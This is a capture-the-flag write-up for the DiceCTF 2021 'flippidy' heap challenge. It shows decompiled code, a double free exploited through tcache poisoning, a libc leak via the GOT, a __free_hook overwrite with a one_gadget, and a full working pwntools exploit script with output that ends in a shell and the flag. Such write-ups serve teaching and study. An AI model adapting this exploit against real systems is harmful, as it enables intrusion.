[Pwn] DiceCTF2021 - flippidy

flippidy

Solves: 62

Points: 149

Description:
See if you can flip this program into a flag :D

nc dicec.tf 31904

flippidy
45ffbb615d868486383a07220e6e6bfc

libc.so.6
50390b2ae8aaa73c47745040f54e602f

Author: joshdabosh

TLDR

  • Set the limit of notes to 1.
  • Alloc a new note with the global 0x404020.
  • Running flip will trigger a double free and poison the next pointer of tchachebin[0x40] to 0x404020.
  • Next malloc will write to 0x404020 which is where is located the pointer of the strings of the menu.
  • Change this pointers to a GOT['fgets'] to get a leak, at the same time we can corrupt the pointer at 0x404040 to 0x404158.
  • 0x404158 is the address of the first entry of the note list having the control of this will give us arbitrary write at our control.
  • Change the pointer at 0x404158 to free_hook and set it to one_gadget.
  • Trigger free with flip function to get a shell.

Information extraction

File

1
2
$ file flippidy
flippidy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9bad92d378d5af68a52fd2856145dc8588533a25, for GNU/Linux 3.2.0, stripped

Security

1
2
3
$ checksec --file=flippidy
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 flippidy

Static analysis

Main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]

setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
sub_401211();
printf("%s", "To get started, first tell us how big your notebook will be: ");
firstRead_404150 = sub_401254();
qword_404158 = malloc(8 * firstRead_404150);
memset(qword_404158, 0, 8 * firstRead_404150);
while ( 1 )
{
sub_4011C6();
printf(": ");
v3 = sub_401254();
if ( v3 == 3 )
{
puts("Goodbye!");
exit(0);
}
if ( v3 > 3 )
{
LABEL_11:
puts("Invalid choice.");
}
else if ( v3 == 1 )
{
add_4012D0();
}
else
{
if ( v3 != 2 )
goto LABEL_11;
flip_401378();
}
}
}

The main function asks for the size of the note list, the size of the list is stored at 0x404150:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_401254()
{
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&s, 0, 0x14uLL);
if ( !fgets(&s, 0x14, stdin) )
exit(0);
return (unsigned int)atoi(&s);
}
...
printf("%s", "To get started, first tell us how big your notebook will be: ");
firstRead_404150 = sub_401254();
...

sub_4011c6 will print the menu with the options to operate on the notebook, note that the strings are present in a global variable at 0x404020.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_4011C6()
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]

result = puts("\n");
for ( i = 0; i <= 3; ++i )
result = puts(off_404020[i]);
return result;
}
...
while ( 1 )
{
sub_4011C6();
printf(": ");
...
}
...

A very important thing to refer that offsets at 0x404020 contains pointers (we can use this later if we manage to get an arbitrary write to leak libc):

1
2
3
4
5
6
.data:0000000000404020 off_404020      dq offset aMenu         ; DATA XREF: sub_4011C6+2A↑o
.data:0000000000404020 ; "----- Menu -----"
.data:0000000000404028 dq offset a1AddToYourNote ; "1. Add to your notebook"
.data:0000000000404030 dq offset a2FlipYourNoteb ; "2. Flip your notebook!"
.data:0000000000404038 dq offset a3Exit ; "3. Exit"
.data:0000000000404040 aMenu db '----- Menu -----',0 ; DATA XREF: .data:off_404020↑o

Add to your notebook

We can add new notes with option 1, the size is limited to 0x30.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_4012D0()
{
void **v1; // rbx
int v2; // [rsp+Ch] [rbp-14h]

printf("Index: ");
v2 = sub_401254();
if ( v2 < 0 || v2 >= firstRead_404150 )
return puts("Invalid index.");
v1 = (void **)((char *)qword_404158 + 8 * v2);
*v1 = malloc(0x30uLL);
printf("Content: ");
return (unsigned __int64)fgets(*((char **)qword_404158 + v2), 0x30, stdin);
}

Flip function

Flip function will exchange the position of the notes hence the name flipping, in the end it frees the old notes and mallocs the new ones by copping their contents with strcpy.

For example if the notebook has 2 notes this how it works:

  • strcpy the contents of 1st note to s.
  • Frees 1st note.
  • strcpy the content of 2nd note to dest.
  • Frees 2nd note.
  • malloc and store this new chunk at the position of the 2nd note and strcpy the content of the 1st note s.
  • malloc and store this new chunk at the position of the 1st note and strcpy the content of the 2nd note dest.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
unsigned __int64 sub_401378()
{
void **v0; // rbx
void **v1; // rbx
char v3; // [rsp+Ah] [rbp-A6h]
char v4; // [rsp+Bh] [rbp-A5h]
int i; // [rsp+Ch] [rbp-A4h]
char s; // [rsp+10h] [rbp-A0h]
char dest; // [rsp+50h] [rbp-60h]
unsigned __int64 v8; // [rsp+98h] [rbp-18h]

v8 = __readfsqword(0x28u);
for ( i = 0; i <= firstRead_404150 / 2; ++i )
{
memset(&s, 0, 0x40uLL);
memset(&dest, 0, 0x40uLL);
v3 = 0;
v4 = 0;
if ( *((_QWORD *)qword_404158 + i) )
{
strcpy(&s, *((const char **)qword_404158 + i));
free(*((void **)qword_404158 + i));
}
else
{
v3 = 1;
}
if ( *((_QWORD *)qword_404158 + firstRead_404150 - i - 1) )
{
strcpy(&dest, *((const char **)qword_404158 + firstRead_404150 - i - 1));
free(*((void **)qword_404158 + firstRead_404150 - i - 1));
}
else
{
v4 = 1;
}
*((_QWORD *)qword_404158 + i) = 0LL;
*((_QWORD *)qword_404158 + firstRead_404150 - i - 1) = 0LL;
if ( v3 != 1 )
{
v0 = (void **)((char *)qword_404158 + 8 * (firstRead_404150 - i) - 8);
*v0 = malloc(0x30uLL);
strcpy(*((char **)qword_404158 + firstRead_404150 - i - 1), &s);
}
else
{
*((_QWORD *)qword_404158 + firstRead_404150 - i - 1) = 0LL;
}
if ( v4 != 1 )
{
v1 = (void **)((char *)qword_404158 + 8 * i);
*v1 = malloc(0x30uLL);
strcpy(*((char **)qword_404158 + i), &dest);
}
else
{
*((_QWORD *)qword_404158 + i) = 0LL;
}
}
return v8 - __readfsqword(0x28u);
}

Getting a leak

To get a leak we first need to find a way to get an arbitrary write, we know that the pointers to the strings of the menu are present at a global variable at 0x404020 if we can manage to change this pointer to a GOT address we can leak a libc address.

What happens if we run the flip function when the size of the notebook only has 1 note ?

The 1st note will be also the last note! because of this we will have a double free! and at the same time we will corrupt the next pointer of the tcachebin[0x40] list to the value we want!

Visually this is what happens:

Source code to achieve this:

1
2
3
4
5
6
7
8
9
10
11
12
def add(index, content):
r.sendlineafter(': ', '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)

def flip():
r.sendlineafter(': ', '2')

r = getConn()
r.sendlineafter('To get started, first tell us how big your notebook will be: ', str(1))
add(0, p64(0x404020))
flip() # Triggers double free

Next malloc will overwrite data in 0x402020 which contains the pointers of the MENU, if we change them to a GOT address we will leak libc in the next menu print of the loop.

The tcache bin list is looking like this right now:

0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d

We have enough bytes to overwrite the 3rd item of the list at 0x404040 we can easily poison this tcache bin by changing it to 0x404158.

0x404158 address is important because it contains the pointer of the first note of the notebook, if we control this value we will be able to write anywhere.

1
2
3
4
5
6
7
8
# 0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d
add(0,p64(elf.got['fgets'])*4+p64(0x404158))
FGETS = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
LIBC = FGETS-libc.symbols['fgets']
SYSTEM = LIBC+libc.symbols['system']
ONE_SHOT = LIBC+0x4f322
log.info("FGETS 0x%x" % FGETS)
log.info("LIBC 0x%x" % LIBC)

Getting a shell

Now that we have libc we just need to overwrite malloc_hook or free_hook to one_gadget to get a shell.

After our last malloc the tcachebin is looking like this:
0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> …

  • 1st malloc and setting 0xdeadbeef as input, the list will look like this:
    0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef

  • 2nd malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
    0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0

  • 3rd malloc and setting 0xdeadbeef as input:
    0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef

  • 4th malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
    FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> …

Next malloc will write into FREE_HOOK, with that we can easily fill it with one_gadget address.

The python code:

1
2
3
4
5
6
7
8
9
10
# 0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> ...
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# 0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> ...
add(0,p64(ONE_SHOT)) # Sets FREE_HOOK to ONE_SHOT

Triggering free to get a shell:

1
2
3
flip() # Triggers free_hook and gets ourselves a shell
r.interactive()
r.close()

The entire script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
host, port = "dicec.tf", "31904"
filename = "./flippidy"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.27.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
for x in bp:
script += "b *0x%x\n"%(x)
gdb.attach(r,gdbscript=script)

def add(index, content):
r.sendlineafter(': ', '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)

def flip():
r.sendlineafter(': ', '2')

FREE = [0x4014D2,0x401444]
context.terminal = ['tmux', 'new-window']

r = getConn()

r.sendlineafter('To get started, first tell us how big your notebook will be: ', str(1))
add(0, p64(0x404020))
if not args.REMOTE and args.GDB:
debug([0x40132F]+FREE)
flip() # Triggers double free



# 0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d
add(0,p64(elf.got['fgets'])*4+p64(0x404158))
FGETS = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
LIBC = FGETS-libc.symbols['fgets']
SYSTEM = LIBC+libc.symbols['system']
ONE_SHOT = LIBC+0x4f322
log.info("FGETS 0x%x" % FGETS)
log.info("LIBC 0x%x" % LIBC)



# 0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> ...
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# 0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> ...
add(0,p64(ONE_SHOT)) # Sets FREE_HOOK to ONE_SHOT

flip() # Triggers free_hook and gets ourselves a shell
r.interactive()
r.close()

Running the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python flippidy.py REMOTE
[*] '/ctf/work/pwn/flippidy/flippidy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/work/pwn/flippidy/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to dicec.tf on port 31904: Done
[*] FGETS 0x7fb4d2848b20
[*] LIBC 0x7fb4d27ca000
[*] Switching to interactive mode
$ ls
challenge
flag.txt
$ cat flag.txt
dice{some_dance_to_remember_some_dance_to_forget_2.27_checks_aff239e1a52cf55cd85c9c16}